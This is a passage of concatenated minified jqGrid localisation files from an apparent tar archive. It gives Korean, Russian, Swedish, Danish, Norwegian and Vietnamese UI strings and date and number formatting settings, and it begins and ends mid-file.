",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Dim","Lun","Mar","Mer","Jeu","Ven","Sam","Dimanche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi"],monthNames:["Jan","Fév","Mar","Avr","Mai","Jui","Jul","Aou","Sep","Oct","Nov","Déc","Janvier","Février","Mars","Avril","Mai","Juin","Juillet","Aout","Septembre","Octobre","Novembre","Décembre"],AmPm:["am","pm","AM","PM"],S:function(e){return 1==e?"er":"e"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Trier en ordre croissant",sortdesc:"Trier en ordre décroissant",columns:"Colonnes",filter:"Filtrer",grouping:"Grouper par",ungrouping:"Séparer",searchTitle:"Prendre les items avec la valeur:",freeze:"Figer",unfreeze:"Relâcher",reorder:"Déplacer pour changer l'ordre",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-kr.js000064400000011474151677266200012265 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.kr={defaults:{recordtext:"보기 {0} - {1} / {2}",emptyrecords:"표시할 행이 없습니다",loadtext:"조회중...",pgtext:"페이지 {0} / {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"검색...",Find:"찾기",Reset:"초기화",odata:[{oper:"eq",text:"같다"},{oper:"ne",text:"같지 않다"},{oper:"lt",text:"작다"},{oper:"le",text:"작거나 같다"},{oper:"gt",text:"크다"},{oper:"ge",text:"크거나 같다"},{oper:"bw",text:"로 시작한다"},{oper:"bn",text:"로 시작하지 않는다"},{oper:"in",text:"내에 있다"},{oper:"ni",text:"내에 있지 않다"},{oper:"ew",text:"로 끝난다"},{oper:"en",text:"로 끝나지 않는다"},{oper:"cn",text:"내에 존재한다"},{oper:"nc",text:"내에 존재하지 않는다"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"전부"},{op:"OR",text:"임의"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"행 추가",editCaption:"행 수정",bSubmit:"전송",bCancel:"취소",bClose:"닫기",saveData:"자료가 변경되었습니다! 저장하시겠습니까?",bYes:"예",bNo:"아니오",bExit:"취소",msg:{required:"필수항목입니다",number:"유효한 번호를 입력해 주세요",minValue:"입력값은 크거나 같아야 합니다",maxValue:"입력값은 작거나 같아야 합니다",email:"유효하지 않은 이메일주소입니다",integer:"유효한 숫자를 입력하세요",date:"유효한 날짜를 입력하세요",url:"은 유효하지 않은 URL입니다. 문장앞에 다음단어가 필요합니다('http://' or 'https://')",nodefined:" 은 정의도지 않았습니다!",novalue:" 반환값이 필요합니다!",customarray:"사용자정의 함수는 배열을 반환해야 합니다!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"행 조회",bClose:"닫기"},del:{caption:"삭제",msg:"선택된 행을 삭제하시겠습니까?",bSubmit:"삭제",bCancel:"취소"},nav:{edittext:"",edittitle:"선택된 행 편집",addtext:"",addtitle:"행 삽입",deltext:"",deltitle:"선택된 행 삭제",searchtext:"",searchtitle:"행 찾기",refreshtext:"",refreshtitle:"그리드 갱신",alertcap:"경고",alerttext:"행을 선택하세요",viewtext:"",viewtitle:"선택된 행 조회",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"열을 선택하세요",bSubmit:"확인",bCancel:"취소"},errors:{errcap:"오류",nourl:"설정된 url이 없습니다",norecords:"처리할 행이 없습니다",model:"colNames의 길이가 colModel과 일치하지 않습니다!"},formatter:{integer:{thousandsSeparator:",",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Sun","Mon","Tue","Wed","Thr","Fri","Sat","일","월","화","수","목","금","토"],monthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec","1월","2월","3월","4월","5월","6월","7월","8월","9월","10월","11월","12월"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"m-d-Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"Y/j/n",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-ru.js000064400000015152151677266200012274 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.ru={defaults:{recordtext:"Просмотр {0} - {1} из {2}",emptyrecords:"Нет записей для просмотра",loadtext:"Загрузка...",pgtext:"Стр. {0} из {1}",savetext:"Сохранения...",pgfirst:"Первая",pglast:"Последняя",pgnext:"Следующая",pgprev:"Предыдущая",pgrecs:"Записей на стр.",showhide:"Показать/Скрыть таблицу",pagerCaption:"Грид::Параметры страницы",pageText:"Страница:",recordPage:"Записей на стр.",nomorerecs:"Нет больше записей...",scrollPullup:"Потяните, чтобы загрузить более...",scrollPulldown:"Потяните вниз чтобы обновить...",scrollRefresh:"Отпустите, чтобы обновить...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Поиск...",Find:"Найти",Reset:"Сброс",odata:[{oper:"eq",text:"равно"},{oper:"ne",text:"не равно"},{oper:"lt",text:"меньше"},{oper:"le",text:"меньше или равно"},{oper:"gt",text:"больше"},{oper:"ge",text:"больше или равно"},{oper:"bw",text:"начинается с"},{oper:"bn",text:"не начинается с"},{oper:"in",text:"находится в"},{oper:"ni",text:"не находится в"},{oper:"ew",text:"заканчивается на"},{oper:"en",text:"не заканчивается на"},{oper:"cn",text:"содержит"},{oper:"nc",text:"не содержит"},{oper:"nu",text:"равно NULL"},{oper:"nn",text:"не равно NULL"},{oper:"bt",text:"между"}],groupOps:[{op:"AND",text:"все"},{op:"OR",text:"любой"}],operandTitle:"Выбрать поисковую операцию.",resetTitle:"Сбросить поиск",addsubgrup:"Добавить группу",addrule:"Добавить правило",delgroup:"Удалить группу",delrule:"Удалить правило",Close:"Закрыть",Operand:"Операнд : ",Operation:"Опер. : ",filterFor:"filter for"},edit:{addCaption:"Добавить запись",editCaption:"Редактировать запись",bSubmit:"Сохранить",bCancel:"Отмена",bClose:"Закрыть",saveData:"Данные были измененны! Сохранить изменения?",bYes:"Да",bNo:"Нет",bExit:"Отмена",msg:{required:"Поле является обязательным",number:"Пожалуйста, введите правильное число",minValue:"значение должно быть больше либо равно",maxValue:"значение должно быть меньше либо равно",email:"некорректное значение e-mail",integer:"Пожалуйста, введите целое число",date:"Пожалуйста, введите правильную дату",url:"неверная ссылка. Необходимо ввести префикс ('http://' или 'https://')",nodefined:" не определено!",novalue:" возвращаемое значение обязательно!",customarray:"Пользовательская функция должна возвращать массив!",customfcheck:"Пользовательская функция должна присутствовать в случаи пользовательской проверки!"}},view:{caption:"Просмотр записи",bClose:"Закрыть"},del:{caption:"Удалить",msg:"Удалить выбранную запись(и)?",bSubmit:"Удалить",bCancel:"Отмена"},nav:{edittext:" ",edittitle:"Редактировать выбранную запись",addtext:" ",addtitle:"Добавить новую запись",deltext:" ",deltitle:"Удалить выбранную запись",searchtext:" ",searchtitle:"Найти записи",refreshtext:"",refreshtitle:"Обновить таблицу",alertcap:"Внимание",alerttext:"Пожалуйста, выберите запись",viewtext:"",viewtitle:"Просмотреть выбранную запись",savetext:"",savetitle:"Сохранить запись",canceltext:"",canceltitle:"Отмена сохранения",selectcaption:"Действия..."},col:{caption:"Показать/скрыть столбцы",bSubmit:"Сохранить",bCancel:"Отмена"},errors:{errcap:"Ошибка",nourl:"URL не установлен",norecords:"Нет записей для обработки",model:"Число полей не соответствует числу столбцов таблицы!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Вс","Пн","Вт","Ср","Чт","Пт","Сб","Воскресение","Понедельник","Вторник","Среда","Четверг","Пятница","Суббота"],monthNames:["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек","Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d.m.Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n.j.Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y G:i:s",MonthDay:"F d",ShortTime:"G:i",LongTime:"G:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Сортировка по возрастанию",sortdesc:"Сортировка по убыванию",columns:"Колонны",filter:"Филтрировать",grouping:"Группа по",ungrouping:"Разгруппировать",searchTitle:"Строки со значениями",freeze:"Закрепление",unfreeze:"Отмена закрепление",reorder:"Переместить в порядок",hovermenu:"Щелкните, чтобы перейти к быстрым действиям в столбце "}}});minified/i18n/grid.locale-sv.js000064400000011152151677266200012272 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.sv={defaults:{recordtext:"Visar {0} - {1} av {2}",emptyrecords:"Det finns inga poster att visa",loadtext:"Laddar...",pgtext:"Sida {0} av {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Sök Poster - Ange sökvillkor",Find:"Sök",Reset:"Nollställ Villkor",odata:[{oper:"eq",text:"lika"},{oper:"ne",text:"ej lika"},{oper:"lt",text:"mindre"},{oper:"le",text:"mindre eller lika"},{oper:"gt",text:"större"},{oper:"ge",text:"större eller lika"},{oper:"bw",text:"börjar med"},{oper:"bn",text:"börjar inte med"},{oper:"in",text:"tillhör"},{oper:"ni",text:"tillhör inte"},{oper:"ew",text:"slutar med"},{oper:"en",text:"slutar inte med"},{oper:"cn",text:"innehåller"},{oper:"nc",text:"innehåller inte"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"alla"},{op:"OR",text:"eller"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Ny Post",editCaption:"Redigera Post",bSubmit:"Spara",bCancel:"Avbryt",bClose:"Stäng",saveData:"Data har ändrats! Spara förändringar?",bYes:"Ja",bNo:"Nej",bExit:"Avbryt",msg:{required:"Fältet är obligatoriskt",number:"Välj korrekt nummer",minValue:"värdet måste vara större än eller lika med",maxValue:"värdet måste vara mindre än eller lika med",email:"är inte korrekt e-post adress",integer:"Var god ange korrekt heltal",date:"Var god ange korrekt datum",url:"är inte en korrekt URL. Prefix måste anges ('http://' or 'https://')",nodefined:" är inte definierad!",novalue:" returvärde måste anges!",customarray:"Custom funktion måste returnera en vektor!",customfcheck:"Custom funktion måste finnas om Custom kontroll sker!"}},view:{caption:"Visa Post",bClose:"Stäng"},del:{caption:"Radera",msg:"Radera markerad(e) post(er)?",bSubmit:"Radera",bCancel:"Avbryt"},nav:{edittext:"",edittitle:"Redigera markerad rad",addtext:"",addtitle:"Skapa ny post",deltext:"",deltitle:"Radera markerad rad",searchtext:"",searchtitle:"Sök poster",refreshtext:"",refreshtitle:"Uppdatera data",alertcap:"Varning",alerttext:"Ingen rad är markerad",viewtext:"",viewtitle:"Visa markerad rad",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Välj Kolumner",bSubmit:"OK",bCancel:"Avbryt"},errors:{errcap:"Fel",nourl:"URL saknas",norecords:"Det finns inga poster att bearbeta",model:"Antal colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"Kr",defaultValue:"0,00"},date:{dayNames:["Sön","Mån","Tis","Ons","Tor","Fre","Lör","Söndag","Måndag","Tisdag","Onsdag","Torsdag","Fredag","Lördag"],monthNames:["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Aug","Sep","Okt","Nov","Dec","Januari","Februari","Mars","April","Maj","Juni","Juli","Augusti","September","Oktober","November","December"],AmPm:["fm","em","FM","EM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"Y-m-d",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-dk.js000064400000010735151677266200012246 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.dk={defaults:{recordtext:"View {0} - {1} of {2}",emptyrecords:"No records to view",loadtext:"Loading...",savetext:"Saving...",pgtext:"Page {0} of {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Søg...",Find:"Find",Reset:"Nulstil",odata:[{oper:"eq",text:"equal"},{oper:"ne",text:"not equal"},{oper:"lt",text:"less"},{oper:"le",text:"less or equal"},{oper:"gt",text:"greater"},{oper:"ge",text:"greater or equal"},{oper:"bw",text:"begins with"},{oper:"bn",text:"does not begin with"},{oper:"in",text:"is in"},{oper:"ni",text:"is not in"},{oper:"ew",text:"ends with"},{oper:"en",text:"does not end with"},{oper:"cn",text:"contains"},{oper:"nc",text:"does not contain"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"all"},{op:"OR",text:"any"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Tilføj",editCaption:"Ret",bSubmit:"Send",bCancel:"Annuller",bClose:"Luk",saveData:"Data has been changed! Save changes?",bYes:"Yes",bNo:"No",bExit:"Cancel",msg:{required:"Felt er nødvendigt",number:"Indtast venligst et validt tal",minValue:"værdi skal være større end eller lig med",maxValue:"værdi skal være mindre end eller lig med",email:"er ikke en valid email",integer:"Indtast venligst et validt heltalt",date:"Indtast venligst en valid datoværdi",url:"is not a valid URL. Prefix required ('http://' or 'https://')",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"View Record",bClose:"Close"},del:{caption:"Slet",msg:"Slet valgte række(r)?",bSubmit:"Slet",bCancel:"Annuller"},nav:{edittext:" ",edittitle:"Rediger valgte række",addtext:" ",addtitle:"Tilføj ny række",deltext:" ",deltitle:"Slet valgte række",searchtext:" ",searchtitle:"Find poster",refreshtext:"",refreshtitle:"Indlæs igen",alertcap:"Advarsel",alerttext:"Vælg venligst række",viewtext:"",viewtitle:"View selected row",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Vis/skjul kolonner",bSubmit:"Send",bCancel:"Annuller"},errors:{errcap:"Fejl",nourl:"Ingel url valgt",norecords:"Ingen poster at behandle",model:"colNames og colModel har ikke samme længde!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Søn","Man","Tirs","Ons","Tors","Fre","Lør","Søndag","Mandag","Tirsdag","Onsdag","Torsdag","Fredag","Lørdag"],monthNames:["Jan","Feb","Mar","Apr","Maj","Jun","Jul","Aug","Sep","Okt","Nov","Dec","Januar","Februar","Marts","April","Maj","Juni","Juli","August","September","Oktober","November","December"],AmPm:["","","",""],S:function(e){return"."},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"j/n/Y",LongDate:"l d. F Y",FullDateTime:"l d F Y G:i:s",MonthDay:"d. F",ShortTime:"G:i",LongTime:"G:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-no.js000064400000010311151677266200012252 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.no={defaults:{recordtext:"Rad {0} - {1}, totalt {2}",loadtext:"Laster...",pgtext:"Side {0} av {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",emptyrecords:"Ingen poster funnet",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Søk...",Find:"Finn",Reset:"Nullstill",odata:[{oper:"eq",text:"lik"},{oper:"ne",text:"forskjellig fra"},{oper:"lt",text:"mindre enn"},{oper:"le",text:"mindre eller lik"},{oper:"gt",text:"større enn"},{oper:"ge",text:" større eller lik"},{oper:"bw",text:"starter med"},{oper:"ew",text:"slutter med"},{oper:"cn",text:"inneholder"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Ny rad",editCaption:"Rediger",bSubmit:"Send",bCancel:"Avbryt",bClose:"Lukk",processData:"Laster...",msg:{required:"Felt er obligatorisk",number:"Legg inn et gyldig tall",minValue:"verdi mø vøre større enn eller lik",maxValue:"verdi må være mindre enn eller lik",email:"er ikke en gyldig e-post adresse",integer:"Legg inn et gyldig heltall",date:"Legg inn en gyldig dato",url:"er ikke en gyldig URL. Prefiks påkrevd ('http://' eller 'https://')",nodefined:" er ikke definert!",novalue:" returverdi er påkrevd!",customarray:"Tilpasset funksjon må returnere en tabell!",customfcheck:"Tilpasset funksjon må eksistere!"}},view:{caption:"Åpne post",bClose:"Lukk"},del:{caption:"Slett",msg:"Slett valgte rad(er)?",bSubmit:"Slett",bCancel:"Avbryt",processData:"Behandler..."},nav:{edittext:" ",edittitle:"Rediger valgte rad(er)",addtext:" ",addtitle:"Legg til ny rad",deltext:" ",deltitle:"Slett valgte rad(er)",searchtext:" ",searchtitle:"Søk",refreshtext:"",refreshtitle:"Oppdater tabell",alertcap:"Advarsel",alerttext:"Velg rad",viewtext:" ",viewtitle:"Åpne valgt rad",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Vis/skjul kolonner",bSubmit:"Utfør",bCancel:"Avbryt"},errors:{errcap:"Feil",nourl:"Ingen url er satt",norecords:"Ingen poster å behandle",model:"colNames og colModel har forskjellig lengde!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:0},number:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,defaulValue:0},currency:{decimalSeparator:",",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaulValue:0},date:{dayNames:["sø.","ma.","ti.","on.","to.","fr.","lø.","Søndag","Mandag","Tirsdag","Onsdag","Torsdag","Fredag","Lørdag"],monthNames:["jan.","feb.","mars","april","mai","juni","juli","aug.","sep.","okt.","nov.","des.","januar","februar","mars","april","mai","juni","juli","august","september","oktober","november","desember"],AmPm:["","","",""],S:function(e){return"."},srcformat:"Y-m-d H:i:s",newformat:"Y-m-d H:i:s",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"j.n.Y",LongDate:"l j. F Y",FullDateTime:"l j. F Y kl. G.i.s",MonthDay:"j. F",ShortTime:"H:i",LongTime:"H:i:s",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"show",addParam:"",checkbox:{disabled:!0}},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-vi.js000064400000011712151677266200012262 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.vi={defaults:{recordtext:"View {0} - {1} of {2}",emptyrecords:"Không có dữ liệu",loadtext:"Đang nạp dữ liệu...",pgtext:"Trang {0} trong tổng số {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Tìm kiếm...",Find:"Tìm",Reset:"Khởi tạo lại",odata:[{oper:"eq",text:"bằng"},{oper:"ne",text:"không bằng"},{oper:"lt",text:"bé hơn"},{oper:"le",text:"bé hơn hoặc bằng"},{oper:"gt",text:"lớn hơn"},{oper:"ge",text:"lớn hơn hoặc bằng"},{oper:"bw",text:"bắt đầu với"},{oper:"bn",text:"không bắt đầu với"},{oper:"in",text:"trong"},{oper:"ni",text:"không nằm trong"},{oper:"ew",text:"kết thúc với"},{oper:"en",text:"không kết thúc với"},{oper:"cn",text:"chứa"},{oper:"nc",text:"không chứa"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"VÀ",text:"tất cả"},{op:"HOẶC",text:"bất kỳ"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Thêm bản ghi",editCaption:"Sửa bản ghi",bSubmit:"Gửi",bCancel:"Hủy bỏ",bClose:"Đóng",saveData:"Dữ liệu đã thay đổi! Có lưu thay đổi không?",bYes:"Có",bNo:"Không",bExit:"Hủy bỏ",msg:{required:"Trường dữ liệu bắt buộc có",number:"Hãy điền đúng số",minValue:"giá trị phải lớn hơn hoặc bằng với ",maxValue:"giá trị phải bé hơn hoặc bằng",email:"không phải là một email đúng",integer:"Hãy điền đúng số nguyên",date:"Hãy điền đúng ngày tháng",url:"không phải là URL. Khởi đầu bắt buộc là ('http://' hoặc 'https://')",nodefined:" chưa được định nghĩa!",novalue:" giá trị trả về bắt buộc phải có!",customarray:"Hàm nên trả về một mảng!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"Xem bản ghi",bClose:"Đóng"},del:{caption:"Xóa",msg:"Xóa bản ghi đã chọn?",bSubmit:"Xóa",bCancel:"Hủy bỏ"},nav:{edittext:"",edittitle:"Sửa dòng đã chọn",addtext:"",addtitle:"Thêm mới 1 dòng",deltext:"",deltitle:"Xóa dòng đã chọn",searchtext:"",searchtitle:"Tìm bản ghi",refreshtext:"",refreshtitle:"Nạp lại lưới",alertcap:"Cảnh báo",alerttext:"Hãy chọn một dòng",viewtext:"",viewtitle:"Xem dòng đã chọn",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Chọn cột",bSubmit:"OK",bCancel:"Hủy bỏ"},errors:{errcap:"Lỗi",nourl:"không url được đặt",norecords:"Không có bản ghi để xử lý",model:"Chiều dài của colNames <> 